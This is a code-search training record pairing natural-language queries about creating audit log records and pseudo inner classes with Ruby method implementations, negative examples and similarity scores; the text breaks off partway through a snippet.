@path.mkpath\n end", "def initialize path\n @path = Pathname.new path\n @path = @path.expand_path unless @path.absolute?\n\n # Ensure library is a valid directory\n unless @path.directory?\n raise DoesNotExist, \"Given path is not a valid mobile applications library: #{@path}\"\n end\n\n @apps = nil\n end", "def generate_for_full_class_code(test_path_absolute)\n # Checking if it's possible to create test based on provided path. In case something is wrong with\n # modules structure in class itself Moto::Test::Base will be instantized with raise injected into its run()\n # so we can have proper reporting and summary even if the test doesn't execute.\n begin\n require test_path_absolute\n class_name = test_path_absolute.gsub(\"#{MotoApp::DIR}/\", 'moto_app/').camelize.chomp('.rb').constantize\n test_object = class_name.new\n rescue NameError => e\n class_name = Moto::Test::Base\n test_object = class_name.new\n\n error_message = \"ERROR: Invalid test: #{test_path_absolute.gsub(\"#{MotoApp::DIR}/\", 'moto_app/').camelize.chomp('.rb')}.\\nMESSAGE: #{e}\"\n inject_error_to_test(test_object, error_message)\n end\n\n test_object.static_path = test_path_absolute\n test_object.evaled = false\n test_object\n end", "def create_class(domain, klass, mindevcount)\n modify_class(domain, klass, mindevcount, :create)\n end", "def initialize(path = DEFAULT_ASSETS_PATH)\n @path = path\n end", "def create_class *c\n\t\torientdb.create_class( *c ){ self }\n\tend", "def initialize(path)\n @path = path\n @tree, @cities = if File.exists?(tree_dst_path) && File.exists?(city_dst_path)\n TzPickup::TzTree.load(tree_dst_path, city_dst_path)\n else\n TzPickup::TzTree.create(src_path, tree_dst_path, city_dst_path)\n end\n end" ]
[ "0.6735142", "0.66171384", "0.6489489", "0.61388654", "0.612821", "0.6114507", "0.59372514", "0.59039336", "0.56536794", "0.5604674", "0.56000274", "0.55354565", "0.5443351", "0.5440257", "0.5440257", "0.5440257", "0.5440257", "0.5440257", "0.5438229", "0.5413889", "0.5399615", "0.53920144", "0.53920144", "0.53920144", "0.53920144", "0.53920144", "0.53901535", "0.53901535", "0.53877527", "0.5375917", "0.5318056", "0.5312128", "0.531202", "0.5305585", "0.5283812", "0.5283812", "0.5246634", "0.5237912", "0.5209044", "0.52045345", "0.5202091", "0.51950014", "0.5148914", "0.5134923", "0.51311094", "0.5118601", "0.51052696", "0.5086052", "0.5073916", "0.50417554", "0.50075877", "0.49982125", "0.49926147", "0.49829423", "0.49755904", "0.49736866", "0.49736866", "0.49736744", "0.49729615", "0.49700132", "0.49679977", "0.49630773", "0.49621922", "0.49590325", "0.49519536", "0.49373567", "0.4934071", "0.4925939", "0.49195367", "0.4918159", "0.49143407", "0.49142522", "0.4914034", "0.49029407", "0.4902069", "0.49014586", "0.49014524", "0.48833147", "0.48763302", "0.487631", "0.48714873", "0.4870905", "0.4868708", "0.48645654", "0.48616576", "0.48596013", "0.48501828", "0.4847637", "0.48410815", "0.4837284", "0.48233333", "0.48200026", "0.48172045", "0.481608", "0.4813503", "0.47989035", "0.47988328", "0.47953144", "0.47904417", "0.47880098" ]
0.5299008
34
Create a pseudo inner class, given a path.
def create!(path, _args_) return usage if /\?/ =~ path || /--help/ =~ path main_file = File.basename(path, '.rb') # allow uneeded extension input # Check to make sure that the main file doesn't exist already already_exist(path) @name = main_file.camelize writer = SketchWriter.new(main_file) template = inner_class_template writer.save(template) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def class_for_path(path)\n path.split('::').inject(Kernel) do |scope, const_name|\n scope.const_get(const_name)\n end\n end", "def class_for_path(path)\n path.split('::').inject(Kernel) do |scope, const_name|\n scope.const_get(const_name)\n end\n end", "def class_for_path(path)\n path.split('::').inject(Kernel) do |scope, const_name|\n scope.const_get(const_name)\n end\n end", "def nested_class( name, parent, &block )\n unless const_defined?( name ) then\n klass = Class.new( parent )\n klass.class_eval( &block ) if block_given?\n const_set( name , klass )\n end\n return const_get( name )\n end", "def assert_generated_class(path, parent = nil)\n # FIXME: Sucky way to detect namespaced classes\n if path.split('/').size > 3\n path =~ /\\/?(\\d+_)?(\\w+)\\/(\\w+)$/\n class_name = \"#{$2.camelize}::#{$3.camelize}\"\n else\n path =~ /\\/?(\\d+_)?(\\w+)$/\n class_name = $2.camelize\n end\n\n assert_generated_file(\"#{path}.rb\") do |body|\n assert_match /class #{class_name}#{parent.nil? ? '':\" < #{parent}\"}/, body, \"the file '#{path}.rb' should be a class\"\n yield body if block_given?\n end\n end", "def create(context, name, klass, *args)\n child = component(klass).new(*args)\n c_name = klass.component || klass.name.split('::').last.underscore.to_sym\n\n child.context = context.clone\n child.context[c_name] = child\n child.context.file_path << name.to_s if name\n child.setup\n child\n end", "def new_anon_class(parent, name=\"\", &proc)\n klass = Class.new(parent) \n mc = klass.instance_eval{ class << self ; self ; end }\n mc.send(:define_method, :to_s) {name}\n klass.class_eval(&proc) if proc\n klass\nend", "def create_class\n attributes = content['attributes']\n mod.const_set class_name, Class.new(parent_class) {\n attr_accessor(*attributes)\n # include Concerns::Extendable\n }\n end", "def create_part_of_path(path)\n begin\n @zk.create(path, \"\".to_java_bytes, default_acl, default_mode)\n rescue\n puts \"#{$!}\"\n end\n end", "def assert_generated_class(path,parent=nil)\n path=~/\\/?(\\d+_)?(\\w+)$/\n class_name=$2.camelize\n assert_generated_file(\"#{path}.rb\") do |body|\n assert body=~/class #{class_name}#{parent.nil? ? '':\" < #{parent}\"}/,\"the file '#{path}.rb' should be a class\"\n yield body if block_given?\n end\n end", "def assert_generated_class(path, parent = nil, class_name = class_name_from_path(path))\n assert_generated_file(\"#{path}.rb\") do |body|\n assert_match /class #{class_name}#{parent.nil? ? '':\" < #{parent}\"}/, body, \"the file '#{path}.rb' should be a class\"\n yield body if block_given?\n end\n end", "def create(root_pathname, *init_args, &block)\n instance = new(root_pathname)\n instance.clear\n instance.init(*init_args)\n instance.instance_eval(&block) if block\n end", "def inject_into_class(path, klass, *args, &block)\n config = args.last.is_a?(Hash) ? args.pop : {}\n config[:after] = /class #{klass}\\n|class #{klass} .*\\n/\n insert_into_file(path, *(args << config), &block)\n end", "def lookup(path)\n case path\n when /[A-Z]\\S+#\\S+/i\n InstanceMethod.new(path)\n when /[A-Z]\\S+\\.\\S+/i\n ClassMethod.new(path)\n else\n Object.new(path)\n end\n end", "def from_path(path); end", "def initialize(path)\n @path = path\n @real_path = File.expand_path(@path)\n @dir_path = File.dirname(@real_path)\n @dir = File.directory?(@real_path)\n @name = File.basename(@real_path)\n unless @dir\n @ext = File.extname(@name, conf[:options][:dots])\n @name.gsub!(Regexp.new('.' << Regexp.escape(@ext) << '$'), '') unless @ext.empty?\n @level = 0\n else\n @level = @real_path.split('/').size\n end\n end", "def /(path)\n\t\t\t\tif path\n\t\t\t\t\tself.class.new(File.join(self, path), self)\n\t\t\t\telse\n\t\t\t\t\tself.class.new(self, self)\n\t\t\t\tend\n\t\t\tend", "def initialize(from_path, context, show_hash)\n super()\n\n # class names, variable names, or instance variables\n @markup.add_special(/(\n # A::B.meth(**) (for operator in Fortran95)\n \\w+(::\\w+)*[.\\#]\\w+(\\([\\.\\w+\\*\\/\\+\\-\\=\\<\\>]+\\))?\n # meth(**) (for operator in Fortran95)\n | \\#\\w+(\\([.\\w\\*\\/\\+\\-\\=\\<\\>]+\\))?\n | \\b([A-Z]\\w*(::\\w+)*[.\\#]\\w+) # A::B.meth\n | \\b([A-Z]\\w+(::\\w+)*) # A::B\n | \\#\\w+[!?=]? # #meth_name\n | \\\\?\\b\\w+([_\\/\\.]+\\w+)*[!?=]? # meth_name\n )/x,\n :CROSSREF)\n\n @from_path = from_path\n @context = context\n @show_hash = show_hash\n\n @seen = {}\n end", "def class_from_path(path)\n return nil unless path =~ /manifests.+\\.pp$/\n\n (path.sub(project_root + '/', '')\n .sub(/\\.pp$/, '')\n .split('/') - %w(site manifests))\n .join('::')\n end", "def create_class(name, parent: Object, &block)\n klass = Class.new(parent, &block)\n @managed.const_set(name, klass)\n klass\n end", "def in_klass name\n if Sexp === name then\n name = case name.sexp_type\n when :colon2 then\n name = name.flatten\n name.delete :const\n name.delete :colon2\n name.join(\"::\")\n when :colon3 then\n name.last.to_s\n else\n raise \"unknown type #{name.inspect}\"\n end\n end\n\n @class_stack.unshift name\n\n with_new_method_stack do\n yield\n end\n ensure\n @class_stack.shift\n end", "def test_nested_namespaced_class\n assert_signatures <<-CODE, [\"C\", \"C::B\", \"C::B::A\", \"C::B::A::D\"], [ModuleCode, ClassCode]\n module C::B::A\n class D\n end\n end\n CODE\n end", "def initialize(path); end", "def component_for_path(path)\n separator = container.config.namespace_separator\n\n key = Pathname(path).relative_path_from(full_path).to_s\n .sub(RB_EXT, EMPTY_STRING)\n .scan(WORD_REGEX)\n .join(separator)\n\n identifier = Identifier.new(key, separator: separator)\n\n if identifier.start_with?(default_namespace)\n identifier = identifier.dequalified(default_namespace, namespace: default_namespace)\n end\n\n build_component(identifier, path)\n end", "def make_classy( line, file_identifier )\n\t\t# TODO: should add file name to end of class\n\t\tStayClassy::Builder::DEFAULT_CLASS_TAGS.each do |tag|\n\t\t\tif line.include?( \"<#{ tag }\" ) && !line.include?( \"class=\" )\n\t\t\t\tline = line.gsub( \"<#{ tag }\", \"<#{ tag } class=\\\"#{ @prefix }#{ tag }_#{ file_identifier }\\\"\" )\n\t\t\tend\n\t\tend\n\t\treturn line\n\tend", "def test_class_from_parent\n code = CodeTree.determine_code_from_path([\n \"Wiki.menu('hey')\",\n \".pages\"])\n assert_equal(\"Wiki.pages()\", code)\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def generate_for_full_class_code(test_path_absolute)\n # Checking if it's possible to create test based on provided path. In case something is wrong with\n # modules structure in class itself Moto::Test::Base will be instantized with raise injected into its run()\n # so we can have proper reporting and summary even if the test doesn't execute.\n begin\n require test_path_absolute\n class_name = test_path_absolute.gsub(\"#{MotoApp::DIR}/\", 'moto_app/').camelize.chomp('.rb').constantize\n test_object = class_name.new\n rescue NameError => e\n class_name = Moto::Test::Base\n test_object = class_name.new\n\n error_message = \"ERROR: Invalid test: #{test_path_absolute.gsub(\"#{MotoApp::DIR}/\", 'moto_app/').camelize.chomp('.rb')}.\\nMESSAGE: #{e}\"\n inject_error_to_test(test_object, error_message)\n end\n\n test_object.static_path = test_path_absolute\n test_object.evaled = false\n test_object\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path \n end", "def parse_class(klass, path)\n methods = find_class_methods(klass)\n elements = parse_methods(methods, path)\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def path_block(klass)\n # RODA4: Remove\n if opts[:path_class_by_name]\n klass = klass.name\n end\n path_classes[klass]\n end", "def initialize(path = nil)\n self.path = path || generate_path\n \n FileUtils.mkdir_p(self.path)\n end", "def create_java_test_node\n File.open(@file_name, \"r\") do |f|\n f.each_with_index do |line, index|\n if index == 0\n @stack = []\n @stack.push(@root)\n parent = @root\n end\n line.chomp!\n next if line.empty? || line.nil?\n prelim_whitespace = 0\n line.each_byte do |byte|\n break if byte != 32\n prelim_whitespace += 1\n end\n\n stripped_line = line.strip\n next if stripped_line.nil? || stripped_line.empty?\n\n case stripped_line\n when /^package/\n node = Tree.new(format_java_description(line), prelim_whitespace)\n node.file_name = @file_name\n parent = fetch_parent(@stack, node)\n if parent\n parent.children << node\n node.parent = parent\n end\n node.structure_marker = 'package'\n @stack.push(node)\n when /^public class/\n node = Tree.new(format_java_description(line), prelim_whitespace)\n node.file_name = @file_name\n parent = fetch_parent(@stack, node)\n if parent\n parent.children << node\n node.parent = parent\n end\n node.structure_marker = 'java_class'\n @stack.push(node)\n when /^public void/\n node = Tree.new(format_java_description(line), prelim_whitespace)\n node.file_name = @file_name\n parent = fetch_parent(@stack, node)\n if parent\n parent.children << node\n node.parent = parent\n end\n node.structure_marker = 'test'\n else\n end\n end\n end\n @root\n end", "def create_java_test_node\n File.open(@file_name, \"r\") do |f|\n f.each_with_index do |line, index|\n if index == 0\n @stack = []\n @stack.push(@root)\n parent = @root\n end\n line.chomp!\n next if line.empty? || line.nil?\n prelim_whitespace = 0\n line.each_byte do |byte|\n break if byte != 32\n prelim_whitespace += 1\n end\n\n stripped_line = line.strip\n next if stripped_line.nil? || stripped_line.empty?\n\n case stripped_line\n when /^package/\n node = Tree.new(format_java_description(line), prelim_whitespace)\n node.file_name = @file_name\n parent = fetch_parent(@stack, node)\n if parent\n parent.children << node\n node.parent = parent\n end\n node.structure_marker = 'package'\n @stack.push(node)\n when /^public class/\n node = Tree.new(format_java_description(line), prelim_whitespace)\n node.file_name = @file_name\n parent = fetch_parent(@stack, node)\n if parent\n parent.children << node\n node.parent = parent\n end\n node.structure_marker = 'java_class'\n @stack.push(node)\n when /^public void/\n node = Tree.new(format_java_description(line), prelim_whitespace)\n node.file_name = @file_name\n parent = fetch_parent(@stack, node)\n if parent\n parent.children << node\n node.parent = parent\n end\n node.structure_marker = 'test'\n else\n end\n end\n end\n @root\n end", "def to_proc\n lambda { |path| new(path) }\n end", "def path_to_class(path, base_class=nil)\n class_name = path.classify\n klass = class_name.safe_constantize\n return klass if klass.present? && klass.kind_of?(Class)\n raise \"Class #{class_name.inspect} constant already exists as a #{klass.name} and is not a class.\" if klass.present?\n path_mod = class_module(path)\n class_mod_name = class_name.demodulize\n if base_class.present?\n klass = path_mod.const_set(class_mod_name, Class.new(base_class))\n else\n klass = path_mod.const_set(class_mod_name, Class.new)\n end\n raise \"Could not create class #{class_name.inspect} in module #{path_mod.inspect}.\" if klass.blank?\n klass\nend", "def path\n @path_klass.new(super)\n end", "def sparkCreate(className, path)\n delete(path)\n\n #logNormal($sparkPrefix +\" creating \" + className + \" instance at \" + path + \"\\n\")\n\n return new(className, path)\nend", "def initialize(path)\n @path = File.expand_path(path)\n end", "def initialize(factory, path)\n @path = path\n @factory = factory\n @name = @path.basename.to_s\n end", "def initialize(path)\n @path = Pathname.new(path)\n @name = @path.basename(@path.extname).to_s\n end", "def create_node(class_name, parent)\n Tree.const_get(class_name.to_s + 'Node')\n .new(parent)\n end", "def assert_generated_class(name,parent=nil)\n parts = name.split('.')\n path = parts.join(File::SEPARATOR)\n path << '.as'\n if(parent)\n path = File.join(parent, path)\n end\n # class_name=$2.camelize\n path = \"#{Sprout::Sprout.project_path}/#{path}\"\n class_name = parts.pop\n package_name = parts.join('.')\n assert_generated_file(path) do |body|\n assert(body=~ /package #{package_name}/, \"Generated class #{name} does not have expected package definition\")\n assert(body=~ /public class #{class_name}/, \"Generated class #{name} does not have expected class defintion\")\n\n# assert body=~/class #{class_name}#{parent.nil? ? '':\" < #{parent}\"}/,\"the file '#{path}.as' should be a class\"\n yield body if block_given?\n end\n end", "def new_framework(path, sub_group_path = nil)\n ref = new_file_reference(path, sub_group_path = nil)\n ref.include_in_index = nil\n ref\n end", "def append_class(name); end", "def append_class(name); end", "def make_scope(root, file)\n Class.new do\n define_method(:logical_path) { pathname.to_s.gsub(root + '/', '').gsub(/\\..*/, '') }\n\n define_method(:pathname) { Pathname.new(root) + file }\n\n define_method(:root_path) { root }\n\n define_method(:s_path) { pathname.to_s }\n end.new\n end", "def create_class(classname, superclass); end", "def create(paths)\n if paths.empty?\n raise Plan::Advice.new('please provide something to create')\n end\n # descend to the right depth\n item = path_tree.descend(paths[0..-2])\n # and then create\n if item.children.any? { |c| !c.hidden? && c.has_label?(paths[-1]) }\n raise Plan::Advice.new(\"duplicate entry at level: #{paths[-1]}\")\n else\n item.children << Item.new(paths[-1])\n save_path_tree\n # and say what happened\n print_depth item\n end\n end", "def create_member(znode_path, member_klass)\n logger.debug { \"created member #{znode_path.inspect} returning object\" }\n member_klass.new(@orig_zk, self, znode_path)\n end", "def add_class(name); end", "def add_class(name); end", "def class(sexp, level)\n cid, sup, body = sexp\n code, vars = nil, []\n\n base, name = if Symbol === cid or String === cid\n ['self', cid.to_s.inspect]\n elsif cid[0] == :colon2\n [process(cid[1], :expression), cid[2].to_s.inspect]\n elsif cid[0] == :colon3\n ['VM.Object', cid[1].to_s.inspect]\n else\n raise \"Bad receiver in class\"\n end\n\n sup = sup ? process(sup, :expression) : 'null'\n\n in_scope(:class) do\n code = process body, :statement\n\n @scope.locals.each { |t| vars << \"#{t} = nil\" }\n @scope.temps.each { |t| vars << t }\n\n code = \"var #{vars.join ', '};\" + code unless vars.empty?\n end\n\n \"$class(#{base}, #{sup}, #{name}, function(self) {\\n#{code}})\"\n end", "def path(*args, &block)\n Path.new(self, *args, &block)\n end", "def initialize(path, inverted=nil, size=nil)\n @path = path\n @inverted = inverted\n @size = size\n end", "def new_file(path, sub_group_path = nil)\n extname = File.extname(path)\n case\n when extname == '.framework' then new_framework(path, sub_group_path)\n when extname == '.xcdatamodeld' then new_xcdatamodeld(path, sub_group_path)\n else new_file_reference(path, sub_group_path)\n end\n end", "def subclass(klass, paths: nil, description: nil)\n raise \"Missing description\" unless description\n\n subclass = Class.new(klass)\n subclass.define_singleton_method(:description) { description }\n subclass.define_method(:inspect) { description } if description\n\n ::Simple::Httpd::Reloader.attach(subclass, paths: Array(paths))\n\n subclass\n end", "def create_class_override(method_name, &block)\n internal_create_override method_name, :class, &block \n end", "def initialize(path)\n\t\tself.path = path\n\t\tself.client = self.class.client\n\tend", "def create(klass, *args, &block)\n\t\t\t#puts caller\n\t\t\tc = klass\n\t\t\t#go through rules\n\t\t\t#ask each replace? klass\n\n\t\t\tif(@rules)\n\t\t\t\t@rules.each { |r| \n\t\t\t\t\tx = r.replace?(klass)\n\t\t\t\t\tif x && r.test?(klass,*args,&block) then c = x end}\n\t\t\tend\n\n\t\t\tif(!c.is_a?(Class)) then\n\t\t\t\traise \"ClassConductor asked to init something which isn't a class: #{c}\"\n\t\t\tend\n\t\t\t\n\t\t\tobj = c.class_conductor_aliased_new(*args,&block)\n\t\t\t\n\t\t\tif(@rules)\n\t\t\t\t@rules.each {|r| if r.wrap?(obj) then obj = r.dowrap(obj) end}\n\t\t\tend\n\t\t\tobj\n\t\tend", "def class_path klass_name\n File.join @path, *klass_name.split('::')\n end", "def new_for_path(path)\n self.class.new path, request, response,\n @options.merge(user: @user, namespaces: @namespaces)\n end", "def _klass_new(*args, &block)\n inst = super()\n inst._set_self(_self)\n inst._struct_class = _struct_class\n if args.first.is_a?(::Hash)\n inst._load(args.first)\n end\n if block\n inst.build!(&block)\n end\n inst\n end", "def initialize(path, content)\n @path = path\n @content = content\n end", "def initialize(path)\n super(path)\n end", "def initialize(path = \"NO_PATH_SPECIFIED\") \n path = path.to_s.split(/\\s/).first # remove trailing spaces \n @path, @name = path, extract_name_from(path)\n super()\n end", "def instance_path(parent_path, ident)\n path = build_path(parent_path)\n path += ::File::SEPARATOR if not path.empty?\n path += ident.to_s\n end", "def newchild(path)\n full_path = ::File.join(self[:path], path)\n\n # Add some new values to our original arguments -- these are the ones\n # set at initialization. We specifically want to exclude any param\n # values set by the :source property or any default values.\n # LAK:NOTE This is kind of silly, because the whole point here is that\n # the values set at initialization should live as long as the resource\n # but values set by default or by :source should only live for the transaction\n # or so. Unfortunately, we don't have a straightforward way to manage\n # the different lifetimes of this data, so we kludge it like this.\n # The right-side hash wins in the merge.\n options = @original_parameters.merge(:path => full_path).reject { |param, value| value.nil? }\n\n # These should never be passed to our children.\n [:parent, :ensure, :recurse, :recurselimit, :target, :alias, :source].each do |param|\n options.delete(param) if options.include?(param)\n end\n\n self.class.new(options)\n end", "def deconstantize(path)\n path.to_s[0...(path.rindex('::') || 0)] # implementation based on the one in facets' Module#spacename\n end", "def initialize(path)\n @path = path\n @@all << self \n end", "def open_class_under\n <<-CODE\n int created;\n t1 = stack_pop();\n t2 = stack_pop();\n next_literal;\n t3 = cpu_open_class(state, c, t2, t1, _lit, &created);\n\n if(AUTOLOAD_P(t3)) {\n cpu_send(state, c, t3, state->global->sym_call, 0, Qnil);\n } else if(t3 != Qundef) {\n stack_push(t3);\n if(created) cpu_perform_hook(state, c, t3, global->sym_opened_class, t1);\n }\n CODE\n end", "def initialize(path)\n @path = path.to_s\n end", "def hs_transition(name, path = nil, cmd_params = {}, &block)\n puts \"Creating wrapper transition '#{name}', path=#{path}, params=#{cmd_params}\"\n name = name.to_s.intern\n subpage = Page.new(name, @page)\n subpage.builder = self\n if path\n proto_name = \"#{name}#{path.gsub(/\\.rb$/i,'').split(/\\//)[-1]}\"\n prototype = page(proto_name, path, cmd_params)\n subpage.prototype = prototype\n end\n subpage.instance_eval &block if block_given?\n @page.add_transition(subpage)\n end", "def class_via(*args, &blk)\n klass = Class.new(*args)\n klass.class_eval(&blk) unless blk.blank?\n return klass\n end", "def initialize(path)\n @path = path\n @disk = Yaml.new(path)\n end", "def newpath(&block)\n psfc=RGhost::PsFacade.new\n yield psfc\n raw :newpath\n set psfc\n raw :closepath\n #set RGhost::NewPath.new(&block)\n end", "def get_definition(cls, bld, fun)\n bld.add(\"///\")\n bld.add(\"/// Constructor\")\n bld.add(\"///\")\n\n standardClassName = XCTECSharp::Utils.instance.getStyledClassName(cls.getUName())\n\n bld.startClass(standardClassName + \"()\")\n\n get_body(cls, bld, fun)\n\n bld.endClass\n end", "def initialize(path)\n super(path)\n end", "def initialize(path)\n @path = Pathname.new(path).tap{ |check| check.stat }\n @namespace = @path.parent.basename.to_s\n @name = @path.basename.to_s\n initialize_specfile\n initialize_options\n initialize_directories\n initialize_models\n rescue Errno::ENOENT => error\n raise RuntimeError, error.message\n end", "def class() end", "def class_module(path)\n class_name = path.classify # e.g. Test::Platform::Main::Engine\n path_mod_name = class_name.deconstantize # e.g. Test::Platform::Main\n path_to_module(path_mod_name.underscore)\nend", "def sparkGetOrCreate(className, path)\n obj = get(path)\n\n if (obj != nil)\n return obj\n end\n\n #logNormal($sparkPrefix +\" creating \" + className + \" instance at \" + path + \"\\n\")\n\n return new(className, path)\nend", "def make_node(type, *args)\n elem = type.new self, *args\n @nodes << elem\n self.core_node ||= elem.id\n elem.expand\n elem\n end", "def initialize path\n @image_path = Pathname.new(path).expand_path\n end", "def create_class *c\n\t\torientdb.create_class( *c ){ self }\n\tend", "def create_class_tree(classtree = ClassTreeNode.new(Kernel),\n ignore = [ClassTreeNode, ObjectDescriber, ObjectBrowser, ObjectBrowser::UI, ObjectBrowser::UI::DescriptionFactory])\n ObjectSpace.each_object do | x |\n classnode = classtree\n x.class.ancestors.reverse[1..-1].inject(classtree){ | classnode, klass | classnode.add_class(klass) }.add_object(x)\n end \n classtree\n end" ]
[ "0.58968693", "0.57687265", "0.57687265", "0.55687", "0.5541463", "0.55337864", "0.55337006", "0.54565966", "0.5426788", "0.54192394", "0.54019046", "0.5358899", "0.53290474", "0.5270519", "0.5238316", "0.52199066", "0.51956886", "0.5191452", "0.5188868", "0.5182477", "0.5170157", "0.51688737", "0.5164664", "0.51457673", "0.5124169", "0.51207936", "0.51039165", "0.5103761", "0.5103761", "0.5103761", "0.5103761", "0.5103761", "0.5060133", "0.5058703", "0.5058703", "0.5058703", "0.5058703", "0.5058703", "0.5048734", "0.5041906", "0.50347346", "0.5034167", "0.50328755", "0.50328755", "0.5018732", "0.50127286", "0.5007089", "0.5007089", "0.5004486", "0.499782", "0.4991338", "0.49844372", "0.49671957", "0.49602935", "0.49594328", "0.4958419", "0.4957567", "0.49455962", "0.49256584", "0.49256584", "0.4924805", "0.4917567", "0.49152842", "0.49140203", "0.4905396", "0.4905396", "0.49033698", "0.4876666", "0.48679125", "0.4861864", "0.4860606", "0.4856651", "0.48468247", "0.4841215", "0.48366114", "0.48286757", "0.4825737", "0.4819947", "0.4814418", "0.48121092", "0.48035467", "0.4801247", "0.48008007", "0.47995073", "0.47927296", "0.47908622", "0.47880185", "0.47877833", "0.47847098", "0.47836652", "0.47697717", "0.4767779", "0.47633725", "0.47611105", "0.47481728", "0.47409323", "0.4735506", "0.47341108", "0.4732775", "0.47313103" ]
0.52311194
15
creates a audit log record instance that each method model will use
def initialize_audit_log # only save logs for POST,PUT,PATCH and DELETE methods # creates if (request.post? || request.patch? || request.put? || request.delete? ) @audit_log = AuditLog.new @audit_log.ip = request.remote_ip @audit_log.user_name = current_user.full_name end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def audit_log\n AuditLog.new(space_id, store_id)\n end", "def build_created_audit(rec, eh)\n build_audit_payload(rec, eh[:new], nil, \"#{rec.class.to_s.downcase}_record_add\", \"Record created\")\n end", "def log_create\n if self.class.name == 'ParticipantsSportEntry'\n model = self.sport_entry\n action = 'UPDATE'\n else\n model = self\n action = 'CREATE'\n end\n\n ModelAuditJob.perform_now(model, action, audit_user_id)\n end", "def create_log_entry\n Rails.logger.debug(\"@@@ create_log_entry: task = #{@task.inspect} event = #{@event.inspect}\")\n params = Hash.new\n params[:user_id] = current_user.id\n params[:role_id] = current_user.role.id\n params[:ot_id] = @task.ot.id\n params[:task_id] = @task.id\n params[:description] = \"Transicion de #{@task.current_state} a #{@task.current_state.events[@event.to_sym].transitions_to}\"\n log_entry = Audit.new(params)\n log_entry.save\n end", "def audit\n data = {\"changes\" => changes, \"metadata\" => audit_metadata}\n Audit::Tracking.log.record(audit_bucket, self.id, data)\n end", "def save_audit_log\n if (@audit_log && @audit_log.auditable)\n if [\"update\",\"destroy\"].include?(action_name)\n update_and_destroy_audit\n elsif action_name == \"create\"\n create_audit\n end \n end\n end", "def build_saved_audit(rec, eh)\n build_audit_payload(rec, eh[:new], eh[:current], \"#{rec.class.to_s.downcase}_record_update\", \"Record updated\")\n end", "def activity_log_create\n write_activity_log(:create)\n end", "def Auditlog( mo, msg )\n auditEntry = Audit.new\n auditEntry.message = \"#{mo} #{caller[0][/`.*'/][1..-2]} #{msg.inspect}\"\n #auditEntry.origin = ip\n auditEntry.origin = request.remote_ip\n auditEntry.user = !current_user.nil? ? current_user.email : 'no-user'\n auditEntry.datetime = DateTime.now\n\n if !auditEntry.save\n _auditLog.info \"#{user} #{ip} #{caller[0][/`.*'/][1..-2]} #{msg.inspect}\"\n end\n\n end", "def history_create\n # history_log('created', created_by_id)\n end", "def create_log(param); end", "def audit_trail(context_to_log = nil)\n @transition_auditor ||= StateMachine::AuditTrail::Backend.create_for_transition_class(transition_class, self.owner_class, context_to_log)\n end", "def create_with_audit!(relation, attributes)\n object = relation.create!(attributes)\n audit_create(object)\n object\n end", "def audit_create\n if self.class.auditing_enabled\n write_audit(:create)\n end\n true\n end", "def create_with_audit(relation, attributes)\n object = relation.create(attributes)\n audit_create(object) if object.valid?\n object\n end", "def audit_log(action, optional_params = {})\n description = params.slice(:record_id, :section, :id).merge(optional_params).map { |key, value| \"#{key}:#{value}\"}.join('|')\n requester = current_user.try(:email) || 'NONE'\n AuditLog.create(event: action, description: description, requester_info: requester)\n description\n end", "def audit\n identifier(audit_db)\n end", "def log_action(action, user, record, model)\n begin\n # Create a new ActionLog Object\n event = ActionLog.new()\n \n # Add the user to this object\n event.user = user\n \n # Add the action to this object\n event.action = action\n \n # Save the model type and its record ID(s) to this object\n event.target = model.to_s + ':' + record.to_s\n \n # Save the time of the event\n event.time_of_action = (Time.now.getutc - 7*60*60).to_s.gsub('UTC','PST')\n \n # Save this event to database\n event.save!\n\n rescue => e\n \n end\n end", "def log \n @log #||= Log.create\n end", "def record_history\n history_user_absent_action if history_user_id.nil?\n\n attrs = attributes.clone\n history_class = self.class.history_class\n foreign_key = history_class.history_foreign_key\n\n now = UTC.now\n attrs.merge!(foreign_key => attrs['id'], history_started_at: now, history_user_id: history_user_id)\n\n attrs = attrs.except('id')\n\n current_history = histories.where(history_ended_at: nil).order('id desc').limit(1).last\n\n if foreign_key.present? && history_class.present?\n history_class.create!(attrs)\n current_history.update!(history_ended_at: now) if current_history.present?\n else\n raise 'Need foreign key and history class to save history!'\n end\n end", "def created_line_item_audit_trail(service_request, service3, identity)\n ssr = service_request.sub_service_requests.first\n ssr.update_attribute(:submitted_at, Time.now.yesterday)\n ssr.update_attribute(:status, 'submitted')\n ssr.save!\n service_request.reload\n created_li = create(:line_item_without_validations, sub_service_request_id: ssr.id, service_id: service3.id, service_request_id: service_request.id)\n created_li_id = created_li.id\n ssr.reload\n ssr.save!\n service_request.reload\n\n audit2 = AuditRecovery.where(\"auditable_id = '#{created_li_id}' AND auditable_type = 'LineItem' AND action = 'create'\")\n\n audit2.first.update_attribute(:created_at, Time.now - 5.hours)\n audit2.first.update_attribute(:user_id, identity.id)\nend", "def create_log_data\n UpdateLog.create(over_tag_id: self.id, table_name: \"over_tag\", log_type: \"create\")\n end", "def audit_log_all\n\n if params[:controller] && params[:action]\n desc = params[:controller] + \"|\" + params[:action]\n desc << \"|id:#{params[:id]}\" if params[:id]\n\n ## log user email for now\n ## TODO: change to larger requester info set\n if current_user\n if desc =~ /sessions\\|destroy/\n desc << \"|LOGOUT\"\n end\n\n AuditLog.create(requester_info: current_user.email, event: \"USER_ACTION\", description: desc)\n else\n AuditLog.create(requester_info: \"NONE\", event: \"USER_ACTION\", description: desc)\n end\n\n end\n\n end", "def audit_log_all\n\n if params[:controller] && params[:action]\n desc = params[:controller] + \"|\" + params[:action]\n desc << \"|id:#{params[:id]}\" if params[:id]\n\n ## log user email for now\n ## TODO: change to larger requester info set\n if current_user\n if desc =~ /sessions\\|destroy/\n desc << \"|LOGOUT\"\n end\n\n AuditLog.create(requester_info: current_user.email, event: \"USER_ACTION\", description: desc)\n else\n AuditLog.create(requester_info: \"NONE\", event: \"USER_ACTION\", description: desc)\n end\n\n end\n\n end", "def 